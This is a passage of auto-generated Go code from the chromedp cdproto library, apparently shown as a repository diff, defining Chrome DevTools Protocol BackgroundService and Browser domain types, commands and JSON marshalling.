r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *Event) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(in *jlexer.Lexer, out *ClearEventsParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "service":
(out.Service).UnmarshalEasyJSON(in)
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(out *jwriter.Writer, in ClearEventsParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"service\":"
out.RawString(prefix[1:])
(in.Service).MarshalEasyJSON(out)
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ClearEventsParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ClearEventsParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoBackgroundservice7(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ClearEventsParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ClearEventsParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoBackgroundservice7(l, v)
}
+21
View File
@@ -0,0 +1,21 @@
package backgroundservice
// Code generated by cdproto-gen. DO NOT EDIT.
// EventRecordingStateChanged called when the recording state for the service
// has been updated.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#event-recordingStateChanged
type EventRecordingStateChanged struct {
IsRecording bool `json:"isRecording"`
Service ServiceName `json:"service"`
}
// EventBackgroundServiceEventReceived called with all existing
// backgroundServiceEvents when enabled, and all new events afterwards if
// enabled and recording.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#event-backgroundServiceEventReceived
type EventBackgroundServiceEventReceived struct {
BackgroundServiceEvent *Event `json:"backgroundServiceEvent"`
}
+93
View File
@@ -0,0 +1,93 @@
package backgroundservice
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/serviceworker"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// ServiceName the Background Service that will be associated with the
// commands/events. Every Background Service operates independently, but they
// share the same API.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-ServiceName
type ServiceName string
// String returns the ServiceName as string value.
func (t ServiceName) String() string {
return string(t)
}
// ServiceName values.
const (
ServiceNameBackgroundFetch ServiceName = "backgroundFetch"
ServiceNameBackgroundSync ServiceName = "backgroundSync"
ServiceNamePushMessaging ServiceName = "pushMessaging"
ServiceNameNotifications ServiceName = "notifications"
ServiceNamePaymentHandler ServiceName = "paymentHandler"
ServiceNamePeriodicBackgroundSync ServiceName = "periodicBackgroundSync"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ServiceName) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ServiceName) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ServiceName) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ServiceName(in.String()) {
case ServiceNameBackgroundFetch:
*t = ServiceNameBackgroundFetch
case ServiceNameBackgroundSync:
*t = ServiceNameBackgroundSync
case ServiceNamePushMessaging:
*t = ServiceNamePushMessaging
case ServiceNameNotifications:
*t = ServiceNameNotifications
case ServiceNamePaymentHandler:
*t = ServiceNamePaymentHandler
case ServiceNamePeriodicBackgroundSync:
*t = ServiceNamePeriodicBackgroundSync
default:
in.AddError(errors.New("unknown ServiceName value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ServiceName) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// EventMetadata a key-value pair for additional event information to pass
// along.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-EventMetadata
type EventMetadata struct {
Key string `json:"key"`
Value string `json:"value"`
}
// Event [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/BackgroundService#type-BackgroundServiceEvent
type Event struct {
Timestamp *cdp.TimeSinceEpoch `json:"timestamp"` // Timestamp of the event (in seconds).
Origin string `json:"origin"` // The origin this event belongs to.
ServiceWorkerRegistrationID serviceworker.RegistrationID `json:"serviceWorkerRegistrationId"` // The Service Worker ID that initiated the event.
Service ServiceName `json:"service"` // The Background Service this event belongs to.
EventName string `json:"eventName"` // A description of the event.
InstanceID string `json:"instanceId"` // An identifier that groups related events together.
EventMetadata []*EventMetadata `json:"eventMetadata"` // A list of event-specific information.
}
+601
View File
@@ -0,0 +1,601 @@
// Package browser provides the Chrome DevTools Protocol
// commands, types, and events for the Browser domain.
//
// The Browser domain defines methods and events for browser managing.
//
// Generated by the cdproto-gen command.
package browser
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
"github.com/chromedp/cdproto/target"
)
// SetPermissionParams set permission settings for given origin.
type SetPermissionParams struct {
Permission *PermissionDescriptor `json:"permission"` // Descriptor of permission to override.
Setting PermissionSetting `json:"setting"` // Setting of the permission.
Origin string `json:"origin,omitempty"` // Origin the permission applies to, all origins if not specified.
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // Context to override. When omitted, default browser context is used.
}
// SetPermission set permission settings for given origin.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setPermission
//
// parameters:
//
// permission - Descriptor of permission to override.
// setting - Setting of the permission.
func SetPermission(permission *PermissionDescriptor, setting PermissionSetting) *SetPermissionParams {
return &SetPermissionParams{
Permission: permission,
Setting: setting,
}
}
// WithOrigin origin the permission applies to, all origins if not specified.
func (p SetPermissionParams) WithOrigin(origin string) *SetPermissionParams {
p.Origin = origin
return &p
}
// WithBrowserContextID context to override. When omitted, default browser
// context is used.
func (p SetPermissionParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *SetPermissionParams {
p.BrowserContextID = browserContextID
return &p
}
// Do executes Browser.setPermission against the provided context.
func (p *SetPermissionParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetPermission, p, nil)
}
// GrantPermissionsParams grant specific permissions to the given origin and
// reject all others.
type GrantPermissionsParams struct {
Permissions []PermissionType `json:"permissions"`
Origin string `json:"origin,omitempty"` // Origin the permission applies to, all origins if not specified.
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to override permissions. When omitted, default browser context is used.
}
// GrantPermissions grant specific permissions to the given origin and reject
// all others.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-grantPermissions
//
// parameters:
//
// permissions
func GrantPermissions(permissions []PermissionType) *GrantPermissionsParams {
return &GrantPermissionsParams{
Permissions: permissions,
}
}
// WithOrigin origin the permission applies to, all origins if not specified.
func (p GrantPermissionsParams) WithOrigin(origin string) *GrantPermissionsParams {
p.Origin = origin
return &p
}
// WithBrowserContextID browserContext to override permissions. When omitted,
// default browser context is used.
func (p GrantPermissionsParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *GrantPermissionsParams {
p.BrowserContextID = browserContextID
return &p
}
// Do executes Browser.grantPermissions against the provided context.
func (p *GrantPermissionsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandGrantPermissions, p, nil)
}
// ResetPermissionsParams reset all permission management for all origins.
type ResetPermissionsParams struct {
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to reset permissions. When omitted, default browser context is used.
}
// ResetPermissions reset all permission management for all origins.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-resetPermissions
//
// parameters:
func ResetPermissions() *ResetPermissionsParams {
return &ResetPermissionsParams{}
}
// WithBrowserContextID browserContext to reset permissions. When omitted,
// default browser context is used.
func (p ResetPermissionsParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *ResetPermissionsParams {
p.BrowserContextID = browserContextID
return &p
}
// Do executes Browser.resetPermissions against the provided context.
func (p *ResetPermissionsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandResetPermissions, p, nil)
}
// SetDownloadBehaviorParams set the behavior when downloading a file.
type SetDownloadBehaviorParams struct {
Behavior SetDownloadBehaviorBehavior `json:"behavior"` // Whether to allow all or deny all download requests, or use default Chrome behavior if available (otherwise deny). |allowAndName| allows download and names files according to their dowmload guids.
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to set download behavior. When omitted, default browser context is used.
DownloadPath string `json:"downloadPath,omitempty"` // The default path to save downloaded files to. This is required if behavior is set to 'allow' or 'allowAndName'.
EventsEnabled bool `json:"eventsEnabled,omitempty"` // Whether to emit download events (defaults to false).
}
// SetDownloadBehavior set the behavior when downloading a file.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDownloadBehavior
//
// parameters:
//
// behavior - Whether to allow all or deny all download requests, or use default Chrome behavior if available (otherwise deny). |allowAndName| allows download and names files according to their dowmload guids.
func SetDownloadBehavior(behavior SetDownloadBehaviorBehavior) *SetDownloadBehaviorParams {
return &SetDownloadBehaviorParams{
Behavior: behavior,
}
}
// WithBrowserContextID browserContext to set download behavior. When
// omitted, default browser context is used.
func (p SetDownloadBehaviorParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *SetDownloadBehaviorParams {
p.BrowserContextID = browserContextID
return &p
}
// WithDownloadPath the default path to save downloaded files to. This is
// required if behavior is set to 'allow' or 'allowAndName'.
func (p SetDownloadBehaviorParams) WithDownloadPath(downloadPath string) *SetDownloadBehaviorParams {
p.DownloadPath = downloadPath
return &p
}
// WithEventsEnabled whether to emit download events (defaults to false).
func (p SetDownloadBehaviorParams) WithEventsEnabled(eventsEnabled bool) *SetDownloadBehaviorParams {
p.EventsEnabled = eventsEnabled
return &p
}
// Do executes Browser.setDownloadBehavior against the provided context.
func (p *SetDownloadBehaviorParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetDownloadBehavior, p, nil)
}
// CancelDownloadParams cancel a download if in progress.
type CancelDownloadParams struct {
GUID string `json:"guid"` // Global unique identifier of the download.
BrowserContextID cdp.BrowserContextID `json:"browserContextId,omitempty"` // BrowserContext to perform the action in. When omitted, default browser context is used.
}
// CancelDownload cancel a download if in progress.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-cancelDownload
//
// parameters:
//
// guid - Global unique identifier of the download.
func CancelDownload(guid string) *CancelDownloadParams {
return &CancelDownloadParams{
GUID: guid,
}
}
// WithBrowserContextID browserContext to perform the action in. When
// omitted, default browser context is used.
func (p CancelDownloadParams) WithBrowserContextID(browserContextID cdp.BrowserContextID) *CancelDownloadParams {
p.BrowserContextID = browserContextID
return &p
}
// Do executes Browser.cancelDownload against the provided context.
func (p *CancelDownloadParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandCancelDownload, p, nil)
}
// CloseParams close browser gracefully.
type CloseParams struct{}
// Close close browser gracefully.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-close
func Close() *CloseParams {
return &CloseParams{}
}
// Do executes Browser.close against the provided context.
func (p *CloseParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandClose, nil, nil)
}
// CrashParams crashes browser on the main thread.
type CrashParams struct{}
// Crash crashes browser on the main thread.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-crash
func Crash() *CrashParams {
return &CrashParams{}
}
// Do executes Browser.crash against the provided context.
func (p *CrashParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandCrash, nil, nil)
}
// CrashGpuProcessParams crashes GPU process.
type CrashGpuProcessParams struct{}
// CrashGpuProcess crashes GPU process.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-crashGpuProcess
func CrashGpuProcess() *CrashGpuProcessParams {
return &CrashGpuProcessParams{}
}
// Do executes Browser.crashGpuProcess against the provided context.
func (p *CrashGpuProcessParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandCrashGpuProcess, nil, nil)
}
// GetVersionParams returns version information.
type GetVersionParams struct{}
// GetVersion returns version information.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getVersion
func GetVersion() *GetVersionParams {
return &GetVersionParams{}
}
// GetVersionReturns return values.
type GetVersionReturns struct {
ProtocolVersion string `json:"protocolVersion,omitempty"` // Protocol version.
Product string `json:"product,omitempty"` // Product name.
Revision string `json:"revision,omitempty"` // Product revision.
UserAgent string `json:"userAgent,omitempty"` // User-Agent.
JsVersion string `json:"jsVersion,omitempty"` // V8 version.
}
// Do executes Browser.getVersion against the provided context.
//
// returns:
//
// protocolVersion - Protocol version.
// product - Product name.
// revision - Product revision.
// userAgent - User-Agent.
// jsVersion - V8 version.
func (p *GetVersionParams) Do(ctx context.Context) (protocolVersion string, product string, revision string, userAgent string, jsVersion string, err error) {
// execute
var res GetVersionReturns
err = cdp.Execute(ctx, CommandGetVersion, nil, &res)
if err != nil {
return "", "", "", "", "", err
}
return res.ProtocolVersion, res.Product, res.Revision, res.UserAgent, res.JsVersion, nil
}
// GetBrowserCommandLineParams returns the command line switches for the
// browser process if, and only if --enable-automation is on the commandline.
type GetBrowserCommandLineParams struct{}
// GetBrowserCommandLine returns the command line switches for the browser
// process if, and only if --enable-automation is on the commandline.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getBrowserCommandLine
func GetBrowserCommandLine() *GetBrowserCommandLineParams {
return &GetBrowserCommandLineParams{}
}
// GetBrowserCommandLineReturns return values.
type GetBrowserCommandLineReturns struct {
Arguments []string `json:"arguments,omitempty"` // Commandline parameters
}
// Do executes Browser.getBrowserCommandLine against the provided context.
//
// returns:
//
// arguments - Commandline parameters
func (p *GetBrowserCommandLineParams) Do(ctx context.Context) (arguments []string, err error) {
// execute
var res GetBrowserCommandLineReturns
err = cdp.Execute(ctx, CommandGetBrowserCommandLine, nil, &res)
if err != nil {
return nil, err
}
return res.Arguments, nil
}
// GetHistogramsParams get Chrome histograms.
type GetHistogramsParams struct {
Query string `json:"query,omitempty"` // Requested substring in name. Only histograms which have query as a substring in their name are extracted. An empty or absent query returns all histograms.
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
}
// GetHistograms get Chrome histograms.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getHistograms
//
// parameters:
func GetHistograms() *GetHistogramsParams {
return &GetHistogramsParams{}
}
// WithQuery requested substring in name. Only histograms which have query as
// a substring in their name are extracted. An empty or absent query returns all
// histograms.
func (p GetHistogramsParams) WithQuery(query string) *GetHistogramsParams {
p.Query = query
return &p
}
// WithDelta if true, retrieve delta since last call.
func (p GetHistogramsParams) WithDelta(delta bool) *GetHistogramsParams {
p.Delta = delta
return &p
}
// GetHistogramsReturns return values.
type GetHistogramsReturns struct {
Histograms []*Histogram `json:"histograms,omitempty"` // Histograms.
}
// Do executes Browser.getHistograms against the provided context.
//
// returns:
//
// histograms - Histograms.
func (p *GetHistogramsParams) Do(ctx context.Context) (histograms []*Histogram, err error) {
// execute
var res GetHistogramsReturns
err = cdp.Execute(ctx, CommandGetHistograms, p, &res)
if err != nil {
return nil, err
}
return res.Histograms, nil
}
// GetHistogramParams get a Chrome histogram by name.
type GetHistogramParams struct {
Name string `json:"name"` // Requested histogram name.
Delta bool `json:"delta,omitempty"` // If true, retrieve delta since last call.
}
// GetHistogram get a Chrome histogram by name.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getHistogram
//
// parameters:
//
// name - Requested histogram name.
func GetHistogram(name string) *GetHistogramParams {
return &GetHistogramParams{
Name: name,
}
}
// WithDelta if true, retrieve delta since last call.
func (p GetHistogramParams) WithDelta(delta bool) *GetHistogramParams {
p.Delta = delta
return &p
}
// GetHistogramReturns return values.
type GetHistogramReturns struct {
Histogram *Histogram `json:"histogram,omitempty"` // Histogram.
}
// Do executes Browser.getHistogram against the provided context.
//
// returns:
//
// histogram - Histogram.
func (p *GetHistogramParams) Do(ctx context.Context) (histogram *Histogram, err error) {
// execute
var res GetHistogramReturns
err = cdp.Execute(ctx, CommandGetHistogram, p, &res)
if err != nil {
return nil, err
}
return res.Histogram, nil
}
// GetWindowBoundsParams get position and size of the browser window.
type GetWindowBoundsParams struct {
WindowID WindowID `json:"windowId"` // Browser window id.
}
// GetWindowBounds get position and size of the browser window.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getWindowBounds
//
// parameters:
//
// windowID - Browser window id.
func GetWindowBounds(windowID WindowID) *GetWindowBoundsParams {
return &GetWindowBoundsParams{
WindowID: windowID,
}
}
// GetWindowBoundsReturns return values.
type GetWindowBoundsReturns struct {
Bounds *Bounds `json:"bounds,omitempty"` // Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
}
// Do executes Browser.getWindowBounds against the provided context.
//
// returns:
//
// bounds - Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
func (p *GetWindowBoundsParams) Do(ctx context.Context) (bounds *Bounds, err error) {
// execute
var res GetWindowBoundsReturns
err = cdp.Execute(ctx, CommandGetWindowBounds, p, &res)
if err != nil {
return nil, err
}
return res.Bounds, nil
}
// GetWindowForTargetParams get the browser window that contains the devtools
// target.
type GetWindowForTargetParams struct {
TargetID target.ID `json:"targetId,omitempty"` // Devtools agent host id. If called as a part of the session, associated targetId is used.
}
// GetWindowForTarget get the browser window that contains the devtools
// target.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-getWindowForTarget
//
// parameters:
func GetWindowForTarget() *GetWindowForTargetParams {
return &GetWindowForTargetParams{}
}
// WithTargetID devtools agent host id. If called as a part of the session,
// associated targetId is used.
func (p GetWindowForTargetParams) WithTargetID(targetID target.ID) *GetWindowForTargetParams {
p.TargetID = targetID
return &p
}
// GetWindowForTargetReturns return values.
type GetWindowForTargetReturns struct {
WindowID WindowID `json:"windowId,omitempty"` // Browser window id.
Bounds *Bounds `json:"bounds,omitempty"` // Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
}
// Do executes Browser.getWindowForTarget against the provided context.
//
// returns:
//
// windowID - Browser window id.
// bounds - Bounds information of the window. When window state is 'minimized', the restored window position and size are returned.
func (p *GetWindowForTargetParams) Do(ctx context.Context) (windowID WindowID, bounds *Bounds, err error) {
// execute
var res GetWindowForTargetReturns
err = cdp.Execute(ctx, CommandGetWindowForTarget, p, &res)
if err != nil {
return 0, nil, err
}
return res.WindowID, res.Bounds, nil
}
// SetWindowBoundsParams set position and/or size of the browser window.
type SetWindowBoundsParams struct {
WindowID WindowID `json:"windowId"` // Browser window id.
Bounds *Bounds `json:"bounds"` // New window bounds. The 'minimized', 'maximized' and 'fullscreen' states cannot be combined with 'left', 'top', 'width' or 'height'. Leaves unspecified fields unchanged.
}
// SetWindowBounds set position and/or size of the browser window.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setWindowBounds
//
// parameters:
//
// windowID - Browser window id.
// bounds - New window bounds. The 'minimized', 'maximized' and 'fullscreen' states cannot be combined with 'left', 'top', 'width' or 'height'. Leaves unspecified fields unchanged.
func SetWindowBounds(windowID WindowID, bounds *Bounds) *SetWindowBoundsParams {
return &SetWindowBoundsParams{
WindowID: windowID,
Bounds: bounds,
}
}
// Do executes Browser.setWindowBounds against the provided context.
func (p *SetWindowBoundsParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetWindowBounds, p, nil)
}
// SetDockTileParams set dock tile details, platform-specific.
type SetDockTileParams struct {
BadgeLabel string `json:"badgeLabel,omitempty"`
Image string `json:"image,omitempty"` // Png encoded image.
}
// SetDockTile set dock tile details, platform-specific.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-setDockTile
//
// parameters:
func SetDockTile() *SetDockTileParams {
return &SetDockTileParams{}
}
// WithBadgeLabel [no description].
func (p SetDockTileParams) WithBadgeLabel(badgeLabel string) *SetDockTileParams {
p.BadgeLabel = badgeLabel
return &p
}
// WithImage png encoded image.
func (p SetDockTileParams) WithImage(image string) *SetDockTileParams {
p.Image = image
return &p
}
// Do executes Browser.setDockTile against the provided context.
func (p *SetDockTileParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetDockTile, p, nil)
}
// ExecuteBrowserCommandParams invoke custom browser commands used by
// telemetry.
type ExecuteBrowserCommandParams struct {
CommandID CommandID `json:"commandId"`
}
// ExecuteBrowserCommand invoke custom browser commands used by telemetry.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#method-executeBrowserCommand
//
// parameters:
//
// commandID
func ExecuteBrowserCommand(commandID CommandID) *ExecuteBrowserCommandParams {
return &ExecuteBrowserCommandParams{
CommandID: commandID,
}
}
// Do executes Browser.executeBrowserCommand against the provided context.
func (p *ExecuteBrowserCommandParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandExecuteBrowserCommand, p, nil)
}
// Command names.
const (
CommandSetPermission = "Browser.setPermission"
CommandGrantPermissions = "Browser.grantPermissions"
CommandResetPermissions = "Browser.resetPermissions"
CommandSetDownloadBehavior = "Browser.setDownloadBehavior"
CommandCancelDownload = "Browser.cancelDownload"
CommandClose = "Browser.close"
CommandCrash = "Browser.crash"
CommandCrashGpuProcess = "Browser.crashGpuProcess"
CommandGetVersion = "Browser.getVersion"
CommandGetBrowserCommandLine = "Browser.getBrowserCommandLine"
CommandGetHistograms = "Browser.getHistograms"
CommandGetHistogram = "Browser.getHistogram"
CommandGetWindowBounds = "Browser.getWindowBounds"
CommandGetWindowForTarget = "Browser.getWindowForTarget"
CommandSetWindowBounds = "Browser.setWindowBounds"
CommandSetDockTile = "Browser.setDockTile"
CommandExecuteBrowserCommand = "Browser.executeBrowserCommand"
)
File diff suppressed because it is too large. Load diff
+28
View File
@@ -0,0 +1,28 @@
package browser
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"github.com/chromedp/cdproto/cdp"
)
// EventDownloadWillBegin fired when page is about to start a download.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadWillBegin
type EventDownloadWillBegin struct {
FrameID cdp.FrameID `json:"frameId"` // Id of the frame that caused the download to begin.
GUID string `json:"guid"` // Global unique identifier of the download.
URL string `json:"url"` // URL of the resource being downloaded.
SuggestedFilename string `json:"suggestedFilename"` // Suggested file name of the resource (the actual name of the file saved on disk may differ).
}
// EventDownloadProgress fired when download makes progress. Last call has
// |done| == true.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#event-downloadProgress
type EventDownloadProgress struct {
GUID string `json:"guid"` // Global unique identifier of the download.
TotalBytes float64 `json:"totalBytes"` // Total expected bytes to download.
ReceivedBytes float64 `json:"receivedBytes"` // Total bytes received.
State DownloadProgressState `json:"state"` // Download status.
}
+412
View File
@@ -0,0 +1,412 @@
package browser
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// WindowID [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-WindowID
type WindowID int64
// Int64 returns the WindowID as int64 value.
func (t WindowID) Int64() int64 {
return int64(t)
}
// WindowState the state of the browser window.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-WindowState
type WindowState string
// String returns the WindowState as string value.
func (t WindowState) String() string {
return string(t)
}
// WindowState values.
const (
WindowStateNormal WindowState = "normal"
WindowStateMinimized WindowState = "minimized"
WindowStateMaximized WindowState = "maximized"
WindowStateFullscreen WindowState = "fullscreen"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t WindowState) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t WindowState) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *WindowState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch WindowState(in.String()) {
case WindowStateNormal:
*t = WindowStateNormal
case WindowStateMinimized:
*t = WindowStateMinimized
case WindowStateMaximized:
*t = WindowStateMaximized
case WindowStateFullscreen:
*t = WindowStateFullscreen
default:
in.AddError(errors.New("unknown WindowState value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *WindowState) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// Bounds browser window bounds information.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-Bounds
type Bounds struct {
Left int64 `json:"left,omitempty"` // The offset from the left edge of the screen to the window in pixels.
Top int64 `json:"top,omitempty"` // The offset from the top edge of the screen to the window in pixels.
Width int64 `json:"width,omitempty"` // The window width in pixels.
Height int64 `json:"height,omitempty"` // The window height in pixels.
WindowState WindowState `json:"windowState,omitempty"` // The window state. Default to normal.
}
// PermissionType [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Browser#type-PermissionType
type PermissionType string
// String returns the PermissionType as string value.
func (t PermissionType) String() string {
return string(t)
}
// PermissionType values.
const (
PermissionTypeAccessibilityEvents PermissionType = "accessibilityEvents"
PermissionTypeAudioCapture PermissionType = "audioCapture"
PermissionTypeBackgroundSync PermissionType = "backgroundSync"
PermissionTypeBackgroundFetch PermissionType = "backgroundFetch"
PermissionTypeClipboardReadWrite PermissionType = "clipboardReadWrite"
PermissionTypeClipboardSanitizedWrite PermissionType = "clipboardSanitizedWrite"
PermissionTypeDisplayCapture PermissionType = "displayCapture"
PermissionTypeDurableStorage PermissionType = "durableStorage"
PermissionTypeFlash PermissionType = "flash"
PermissionTypeGeolocation PermissionType = "geolocation"
PermissionTypeMidi PermissionType = "midi"
PermissionTypeMidiSysex PermissionType = "midiSysex"
PermissionTypeNfc PermissionType = "nfc"
PermissionTypeNotifications PermissionType = "notifications"
PermissionTypePaymentHandler PermissionType = "paymentHandler"
PermissionTypePeriodicBackgroundSync PermissionType = "periodicBackgroundSync"
PermissionTypeProtectedMediaIdentifier PermissionType = "protectedMediaIdentifier"
PermissionTypeSensors PermissionType = "sensors"
PermissionTypeVideoCapture PermissionType = "videoCapture"
PermissionTypeVideoCapturePanTiltZoom PermissionType = "videoCapturePanTiltZoom"
PermissionTypeIdleDetection PermissionType = "idleDetection"
PermissionTypeWakeLockScreen PermissionType = "wakeLockScreen"
PermissionTypeWakeLockSystem PermissionType = "wakeLockSystem"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PermissionType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PermissionType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PermissionType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PermissionType(in.String()) {
case PermissionTypeAccessibilityEvents:
*t = PermissionTypeAccessibilityEvents
case PermissionTypeAudioCapture:
*t = PermissionTypeAudioCapture
case PermissionTypeBackgroundSync:
*t = PermissionTypeBackgroundSync
case PermissionTypeBackgroundFetch:
*t = PermissionTypeBackgroundFetch
case PermissionTypeClipboardReadWrite:
*t = PermissionTypeClipboardReadWrite
case PermissionTypeClipboardSanitizedWrite:
*t = PermissionTypeClipboardSanitizedWrite
case PermissionTypeDisplayCapture:
*t = PermissionTypeDisplayCapture
case PermissionTypeDurableStorage:
*t = PermissionTypeDurableStorage
case PermissionTypeFlash:
*t = PermissionTypeFlash
case PermissionTypeGeolocation:
*t = PermissionTypeGeolocation
case PermissionTypeMidi:
*t = PermissionTypeMidi
case PermissionTypeMidiSysex:
*t = PermissionTypeMidiSysex
case PermissionTypeNfc:
*t = PermissionTypeNfc
case PermissionTypeNotifications:
*t = PermissionTypeNotifications
case PermissionTypePaymentHandler:
*t = PermissionTypePaymentHandler
case PermissionTypePeriodicBackgroundSync:
*t = PermissionTypePeriodicBackgroundSync
case PermissionTypeProtectedMediaIdentifier:
*t = PermissionTypeProtectedMediaIdentifier
case PermissionTypeSensors:
*t = PermissionTypeSensors
case PermissionTypeVideoCapture:
*t = PermissionTypeVideoCapture
case PermissionTypeVideoCapturePanTiltZoom:
*t = PermissionTypeVideoCapturePanTiltZoom
case PermissionTypeIdleDetection:
*t = PermissionTypeIdleDetection
case PermissionTypeWakeLockScreen:
*t = PermissionTypeWakeLockScreen
case PermissionTypeWakeLockSystem:
*t = PermissionTypeWakeLockSystem
default:
in.AddError(errors.New("unknown PermissionType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PermissionType) UnmarshalJSON(buf []byte) error {
